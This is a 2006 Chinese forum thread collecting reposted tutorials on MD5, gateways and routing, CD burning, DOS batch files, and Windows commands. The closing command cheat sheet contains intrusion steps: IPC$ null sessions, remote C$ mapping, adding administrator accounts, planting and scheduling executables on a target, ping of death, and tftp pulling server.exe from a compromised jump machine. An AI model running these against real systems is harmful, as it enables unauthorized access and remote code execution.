MD5叫信息－摘要算法，是一种密码的算法，它可以对任何文件产生一个唯一的MD5验证码，每个文件的MD5码就如同每个人的指纹一样，都是不同的，这样，一旦这个文件在传输过程中，其内容被损坏或者被修改的话，那么这个文件的MD5码就会发生变化，通过对文件MD5的验证，可以得知获得的文件是否完整。

[ 本帖最后由 blackhold 于 2006-12-3 10:56 编辑 ]

黑洞

什么叫网关的精解(超经典)

转自(协议分析论坛)
计算机主机网关的作用是什么？
假设你的名字叫小不点，你住在一个大院子里，你的邻居有很多小伙伴，在门口传达室还有个看大门的李大爷，李大爷就是你的网关。当你想跟院子里的某个小伙伴玩，只要你在院子里大喊一声他的名字，他听到了就会回应你，并且跑出来跟你玩。
  但是你不被允许走出大门，你想与外界发生的一切联系，都必须由门口的李大爷（网关）用电话帮助你联系。假如你想找你的同学小明聊天，小明家住在很远的另外一个院子里，他家的院子里也有一个看门的王大爷（小明的网关）。但是你不知道小明家的电话号码，不过你的班主任老师有一份你们班全体同学的名单和电话号码对照表，你的老师就是你的DNS服务器。于是你在家里拨通了门口李大爷的电话，有了下面的对话：
小不点：李大爷，我想找班主任查一下小明的电话号码行吗？
李大爷：好，你等着。（接着李大爷给你的班主任挂了一个电话，问清楚
了小明的电话）问到了，他家的号码是211.99.99.99
小不点：太好了！李大爷，我想找小明，你再帮我联系一下小明吧。
李大爷：没问题。（接着李大爷向电话局发出了请求接通小明家电话的请
求，最后一关当然是被转接到了小明家那个院子的王大爷那里，然后王大
爷把电话给转到小明家）
  就这样你和小明取得了联系。
  至于DHCP服务器嘛，可以这样比喻：
  你家院子里的居民越来越多了，传达室李大爷那里的电话交换机已经不能满足这么多居民的需求了，所以只好采用了一种新技术叫做DHCP，居民们开机的时候随机得到一个电话号码，每一次得到的号码都可能会不同。
你家门口的李大爷：就是你的网关
你的班主任：就是你的DNS服务器
传达室的电话交换机：就是你的DHCP服务器
同上，李大爷和王大爷之间的对话就叫做路由。
  另：如果还有个小朋友叫做小暗，他住的院子看门的是孙大爷，因为小暗的院子刚盖好，孙大爷刚来不久，他没有李大爷和王大爷办公室的电话（李大爷和王大爷当然也没有他的电话），这时会有两种情况：
1、居委会的赵大妈告诉了孙大爷关于李、王两位大爷的电话（同时赵大妈也告诉了李、王关于孙的电话），这就叫静态设定路由
2、赵大妈病了，孙大爷自己到处打电话，见人就说：“我是小暗他们院子管电话的”，结果被李、王二位听到了，就记在了他们的通讯录上，然后李、王就给孙大爷回了个电话说：“我是小明（小不点）他们院子管电话的”，这就叫动态设定路由
然后有一天小不点要找小暗，结果自然是小不点给李大爷打电话说：“大爷，我找小暗”（这里省略了李大爷去查小暗电话的过程，假设他知道小暗的电话），李大爷一找通讯录：“哦，小暗的院子的电话是孙大爷管着的，要找小暗自然先要通知孙大爷，我可以通知王大爷让他去找孙大爷，也可以自己直接找孙，那当然是自己直接找孙方便了”，于是李大爷给孙大爷打了电话，然后孙大爷又把电话转到了小暗家。
  这里李大爷的通讯录叫做路由表。
  李大爷选择是自己直接找孙大爷还是让王大爷帮忙转接叫做路由选择。
  李大爷之所以选择直接找孙大爷是有依据的，因为他直接找孙大爷就能一步到位，如果要王大爷转接就需要两步才能完成，这里的“步”叫做“跳数”，李大爷的选择遵循的是最少步骤（跳数）原则（如果他不遵守这个原则，小不点可能就会多等些时间才能找到小暗，最终结果可能导致李大爷因工作不力被炒鱿鱼，这叫做“延时太长，选路原则不合理，换了一个路由器”）
  当然，事情总是变化的，小不点和小明吵架了，这些天小不点老是给小暗打电话，小明心里想：“操，他是不是在说我坏话啊？”于是小明决定偷听小不点和小暗的通话，但是他又不能出院子，怎么办呢？小明做了这样一个决定：
  首先他告诉自己院里管电话的王大爷说：“你给李大爷打个电话说小暗搬到咱们院子了，以后凡是打给他的电话我来接”，王大爷没反映过来（毕竟年纪大了啊！）就给李大爷打了电话，说：“现在我来管理小暗的电话了，孙已经不管了”，结果李大爷就把他的通讯录改了，这叫做路由欺骗。
  以后小不点再找小暗，李大爷就转给王大爷了（其实应该转给孙大爷的），王大爷收到了这个电话就转给了小明（因为他之前已经和小明说好了），小明收到这个电话就假装小暗和小不点通信。因为小明作贼心虚，害怕明天小不点和小暗见面后当面问他，于是通信断了之后，又自己以小不点的名义给小暗通了个电话复述了一遍刚才的话，有这就叫数据窃听
再后来，小不点还是不断的和小暗联系，而零落了小明，小明心里嘀咕啊：“我不能总是这样以小暗的身份和小不点通话啊，外一有一天露馅了怎么办！”于是他想了一个更阴险的招数：“干脆我也不偷听你们的电话了，你小不点不是不给我打电话吗！那我让你也给小暗打不了，哼哼！”，他怎么做的呢？我们来看：
  他联系了一批狐朋狗友，和他们串通好，每天固定一个时间大家一起给小暗院子传达室打电话，内容什么都有，只要传达室的孙爷爷接电话，就会听到“打雷啦，下雨收衣服啊！”、“人是人他妈生的，妖是妖他妈生的”、“你妈贵姓”等等，听的脑袋都大了，不听又不行，电话不停的响啊！终于有一天，孙爷爷忍不住了，大喊一声：“我受不了拉！！！！”，于是上吊自杀了！
  这就是最简单的DDOS攻击，孙爷爷心理承受能力弱的现象叫做“数据报处理模块有BUG”，孙爷爷的自杀叫做“路由器瘫痪”。如果是我，就会微笑着和他们拉家常，例如告诉他们“我早就听了天气预报，衣服10分钟前已经收好了”或者“那你妈是人还是妖”或者“和你奶奶一个姓”等等，我这种健全的心理叫做“健壮的数据报处理，能够抵御任何攻击”
  孙爷爷瘫了之后，小不点终于不再给小暗打电话了，因为无论他怎么打对方都是忙音，这种现象叫做“拒绝服务”，所以小明的做法还有一个名字叫做“拒绝服务攻击”。
小明终于安静了几天，...
  几天后，小明的院子来了一个美丽的女孩，名字叫做小丽，小明很喜欢她（小小年纪玩什么早恋！）可是小丽有个很帅的男朋友，小明干瞪眼没办法。当然这里还是要遵循上面的原则：小丽是不能出院子的。那个男的想泡小丽自然只能打电话，于是小明又蠢蠢欲动了：
还记得王爷爷是院子的电话总管吗？他之所以能管理电话是因为他有一个通讯录，因为同一个院子可能有2个孩子都叫小明，靠名字无法区分，所以通讯录上每一行只有两项：
门牌 电话
一号门 1234567 （这个是小明的）
二号门 7654321 （这个是小丽的）
......
  王爷爷记性不好，但这总不会错了吧（同一个院子不会有2个“二号门”吧）？每次打电话人家都要说出要找的电话号码，然后通过通讯录去院子里面敲门，比如人家说我找“1234567”，于是王爷爷一比较，哦，是一号门的，他就去敲一号门“听电话”，如果是找“7654321”，那他就找二号门“听电话”。
  这里的电话号码就是传说中的“IP地址”
  这里的门牌号就是传说中的网卡的’MAC‘地址（每一块网卡的MAC地址都是不一样的，这是网卡的制造商写死在网卡的芯片中的）
  小明心里想“奶奶的，老子泡不到你也别想泡”，于是他打起了王爷爷通讯录的主意，经过细心的观察，周密的准备，他终于发现王爷爷有尿频的毛病（毕竟是老人啊...），终于在一个月黑风高的白天，王爷爷去上厕所了，小明偷偷的摸进传达室，小心翼翼的改了王爷爷的通讯录......
  过了几天，小丽的男朋友又给小丽打来了电话，对方报的电话是“7654321”，王爷爷一看通讯录，靠：
门牌 电话
一号门 1234567 （这个是小明的）
一号门 7654321 （注意：这个原来是小丽的，但是被小明改了）
......
  王爷爷不知道改了啊，于是就去找一号门的小明了，小明心里这个美啊，他以小丽父亲的口吻严厉的教训了那个男的和小丽之间不正当的男女关系，结果那个男的恭恭敬敬的挂了电话。当然小丽并不知道整个事情的发生...
  这里小明的行为叫做“ARP欺骗”（因为在实际的网络上是通过发送ARP数据包来实现的，所以叫做“ARP欺骗”），王爷爷的通讯录叫做“ARP表”
  这里要注意：王爷爷现在有两个通讯录了，一个是记录每个院子传达室电话的本本，叫做“路由表”，一个是现在说的记录院子里面详细信息的本本，叫做“ARP表”。
  有句命言是“人们总是在追求完美的，尽管永远也做不到”（请记住这句话，因为这是一个大名人--也就是我，说的）
  王爷爷的制度中有一条是这么写的“每个月要重新检查一下门牌号和电话的对应本（也就是ARP表）”，这个动作叫做“刷新ARP表”，每个月的时间限制叫做“刷新ARP表的周期”。这样小明为了让那个男的永远不能找到小丽，之后每个月都要偷偷改一次那个通讯录，不过这样也是不得不做的事啊！
  补充一点，小明是很聪明的，如果通讯录（ARP表）被改成了这样：
门牌（MAC） 电话（IP）
一号门 1234567 （这个是小明的）
二号门 1234567 （注意：这个被小明改了，但是他一时头晕改错了）
......
  就会是计算机就会弹出一个对话框提示“出现重复的IP地址”，最终会导致王爷爷不知所措，于是通知一号门和二号门，你们的电话重复了。这样小丽就知道有人在破坏她的好事，这个现象叫做“骗局被揭穿了”
小不点知道了小明偷听他和小暗的电话，于是就和小暗约定好了密码。小不点在家里把要说的加密了之后告诉小暗。土豆－〉星期三，地瓜－〉请客，笨蛋－〉小不点家。于是小不点告诉小暗：土豆笨蛋地瓜。小明听了？？？不懂。。。。郁闷了。。。这是加密。
除此之外，小丽也知道了小明改他家的电话号码了。于是王爷爷就登门一个一个把电话和门牌号记下来。并且藏起来不允许外人修改，只能自己有钥匙（密码）。这是ip地址和MAC地址绑定。当有人改了电话号码的时候，就得找王爷爷改。麻烦是麻烦了，但是安全了。不过小明偷偷的把王爷爷的钥匙偷配了一把（盗窃密码成功），于是他还可以修改。这样么，就这样了。

黑洞

光盘刻录超详细图文教程(转自番茄）


光盘刻录
超详细图文教程

  刻录安装盘其实很简单，很多人刻录不成功，其原因很多，主要有刻录方式不对，刻录盘片质量太差，源文件被修改等。
这里详细介绍刻录的方法，希望对大家有用。刚开始做教程，旨在分享，比较粗糙，见谅！
1、下载好需要刻录的源文件。

                               
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2、比对MD5值，这步非常重要，如果源文件被修改，可能刻录不成功，也可能被加入了恶意软件。

                               
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3、刻录时一定要选择刻录镜像文件，有些人刻成了数据盘，包括可启动的数据盘都不行。

                               
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下面就按照顺序执行操作就可以。

                               
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注意事项：
1、为避免刻录中断，关闭一切应用程序，特别是机器配置比较低的。
2、刻录速度要慢点，24X以下，越慢越好，如果有耐心的话，可以用8X来刻录。
3、在刻录之前，用刻录软件检查一下空盘。刻录过程中，最好不要对电脑进行任何操作。
4、使用质量好一点的盘，并且确认刻录软件已经授权。nero安装时是不提示授权是否成功的。

[ 本帖最后由 blackhold 于 2006-12-3 10:55 编辑 ]

黑洞

Dos批处理文件详解

后缀是bat的文件就是批处理文件，是一种文本文件。现在已经用得很少了，但是象IBM笔记本的系统恢复盘就是靠批处理来执行的。简单的说，它的作用就是自动的连续执行多条命令，批处理文件的内容就是一条一条的命令。那它有什么用呢？ 比如，在启动wps软件时，每次都必须执行：
C:>cd wps
　　C:WPS>spdos
　　C:WPS>py
　　C:WPS>wbx
　　C:WPS>wps
如果每次用WPS之前都这样执行一次，您是不是觉得很麻烦呢？
如果有一个方法，只需编写一个批处理文件，就会自动执行刚才的所有命令，您想不想学呢？ 当您看完此节，自己编写的第一个批处理文件顺利执行时，您一定会大吃一惊的。
常用命令
　　echo、@、call、pause、rem是批处理文件最常用的几个命令，我们就从他们开始学起。
echo 表示显示此命令后的字符；echo off 表示在此语句后所有运行的命令都不显示命令行本身。@ 与echo off相象，但它是加在其它命令行的最前面，表示运行时不显示命令行本身。
call 调用另一条批处理文件（如果直接调用别的批处理文件 ，执行完那条文件后将无法执行当前文件后续命令）；
pause 运行此句会暂停，显示Press any key to continue... 等待用户按任意键后继续；
rem 表示此命令后的字符为解释行，不执行，只是给自己今后查找用的；
例：用edit编辑a.bat文件，输入下列内容后存盘为c:a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。
批处理文件的内容为: 　　　　　　　　文件表示：
　　echo off　　　　　　　　　　　　不显示命令行
　　　　dir c:*.* >a.txt　　　　　　　将c盘文件列表写入a.txt
　　　　call c:ucdosucdos.bat　　　　调用ucdos
　　　　echo 你好 　　　　　　　　　　　显示"你好"
　　　　pause 　　　　　　　　　　　　　暂停,等待按键继续
　　　　rem 使用wps 　　　　　　　　　　注释将使用wps
　　　　cd ucdos　　　　　　　　　　　　进入ucdos目录
　　　　wps 　　　　　　　　　　　　　　使用wps　　
批处理文件中还可以像C语言一样使用参数，这只需用到一个参数表示符%。
%表示参数，参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9，%0表示文件名本身，字符串用%1到%9顺序表示。
例如，C：根目录下一批处理文件名为f.bat，内容为 format %1
　　则如果执行C:>f a: 　　　则实际执行的是format a:
又如C：根目录下一批处理文件的名为t.bat，内容为 type %1 type %2 ，那么运行C:>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容。
此外电脑每次启动时都会寻找autoexec.bat这条批处理文件，从而可执行一些每次开机都要执行的命令，如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等，可以使您的电脑真正自动化。
特殊命令
if goto choice for 是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串" 　待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
2、if exist 文件名　 待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。如if exist config.sys edit config.sys
3、if errorlevel 数字　 待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。如if errorlevel 2 goto x2 　DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码
goto 批处理文件运行到这里将跳到goto 所指定的标号处， 一般与if配合使用。 如:
goto end
:end
echo this is the end
标号用 :字符串 表示，标号所在行不被执行
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……
如: choice /cme defrag,mem,end 将显示 defrag,mem,end[D,M,E]?
例如，test.bat的内容如下:
@echo off
choice /cme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end
efrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。
for 循环命令，只要条件符合，它将多次执行同一命令。
格式FOR [%%f] in (集合) DO [命令]
只要参数f在指定的集合内，则条件成立，执行命令
如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件，则显示文件的内容。
autoexec.bat
DOS在启动会自动运行autoexec.bat这条文件，一般我们在里面装载每次必用的程序，如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。
如果启动盘根目录中没有这个文件，电脑会让用户输入日期和时间。
例如，一个典型的autoexec.bat内容如下:
@echo off　　　　　　　　　　　　　　　　　　不显示命令行
prompt $p$g　　　　　　　　　　　　　　　　 设置提示符前有目录提示
path c:dos;c:;c:windows;c:ucdos;c:tools　　　 设置路径
lh c:dosdoskey.com 　　　　　　　　　　　　　　　加载键盘管理
lh c:mousemouse.com　　　　　　　　　　　　　　加载鼠标管理
lh c:dossmartdrv.exe 　　　　　　　　　　　　　　加载磁盘加速管理
lh c:dosmscdex /S /D:MSCD000 /M:12 /V　　　　加载CD-ROM驱动
set temp=c:temp 　　　　　　　　　　　　　　　　　设置临时目录
IF -EXIST
首先用记事本建立一个文件，文件内容如下：
@echo off
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist
在C盘保存文件为TEST.BAT
然后执行命令
C:>TEST1.BAT
这时，如果AUTOEXEC.BAT中有内容的话会显示出来。
接着再建立一个文件，内容如下：
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
也保存在C盘，文件名为TEST2.BAT
然后执行命令
C:>TEST2 AUTOEXEC.BAT
同样，如果AUTOEXEC.BAT中有内容的话会显示出来。
说明：
1． IF EXIST 是用来测试文件是否存在的，格式为
IF EXIST [路径+文件名] 命令
2． 其中第二个文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1---------%9 ，有点想实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。
更进一步的，建立一个名为ABC.BAT的文件，内容如下：
IF ‘%1’ = = ‘ A ’ ECHO XIAO
IF ‘%1’ = = ‘ B ’ ECHO TIAN
IF ‘%1’ = = ‘ C ’ ECHO XIN
完成后运行C:>ABC.BAT A B C
屏幕上会显示C:>XIAOTIANXIA
如果执行C:>ABC.BAT A B
屏幕上会显示C:>XIAOTIAN
DOS将一个空字符串附给参数%3。
可以将NOT放在IF和条件之间，指示IF在条件为假时执行某一命令。
注意：这个命令可在DOS下输入直接运行。
IF-ERRORLEVEL
用记事本建立一个文件XIAO.BAT，内容如下
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
然后执行文件
C:>XIAO.BAT
如果文件拷贝成功，屏幕就会显示：成功拷贝文件
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，因此下面的批处理文件是错误的
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
IF ERRORLEVEL = = 1 ECHO 未找到拷贝文件
IF ERRORLEVEL = = 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL = = 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL = = 4 ECHO 拷贝过程中写盘错误
无论拷贝是否成功，后面的：
未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误
都将显示出来。
注意：这个命令是可以在DOS下直接输入的。
例如：
C:>XCOPY AUTOEXEC.BAT D:
之后可以执行
C:> IF ERRORLEVEL = = 0 ECHO 成功拷贝文件
如果成功，屏幕将显示：
成功拷贝文件
以下就是几个常用命令的返回值：
backup
出口状态 意义
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止

diskcomp
出口状态 意义
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较
diskcopy
出口状态 意义
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作
format
出口状态 意义
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示“proceed with format（y/n）？”下用户键入n结束
xopy
出口状态 意义
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误
IF STRING = = STRING
首先用记事本建立一个名为XIAO.BAT的文件，文件内容如下：
@echo off
IF "%1" = = "A" FORMAT A:
接着执行
C:>XIAO A
屏幕上就出现是否将A：盘格式化的内容。
这个语句的格式为
IF "参数" = = "字符串" 　待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。
注意：要想在DOS下直接使用，只有这样
C:> IF "A" = = "A" FORMAT A:
毫无意义。
GOTO
首先用记事本建立一个名为XIAO.BAT的文件，文件内容如下：
@ECHO OFF
IF EXIST C:AUTOEXEC.BAT GOTO KB
: KB
COPY C:AUTOEXEC.BAT D:
: DONE
注意：
1． 标号前是冒号（：）
2． 标号的最后一行是: DONG
3． DOS支持最长为八位的标号，当无法区别两个标号时，将跳转至最近的一个标号。
FOR
首先用记事本建立一个名为XIAO.BAT的文件，文件内容如下：
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
接着执行
C:>XIAO.BAT
执行以后，屏幕上会将C:盘所有的以 *.BAT *.TXT *.SYS为扩展名的文件内容显示出来，当然不包括隐藏文件。
说明：字符%%C 表示FOR命令变量，FOR支持通配符。

黑洞

DOS命令

net use $">\\ip\ipc$ " " /user:" " 建立IPC空链接
net use $">\\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: $">\\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: $">\\ip\c$ 登陆后映射对方C：到本地为H:
net use $">\\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名　密码　/add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名　 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe $">\\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
print 文件名 打印文本文件

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md　目录名 创建目录
replace 源文件　要替换文件的目录 替换文件
ren 原文件名　新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
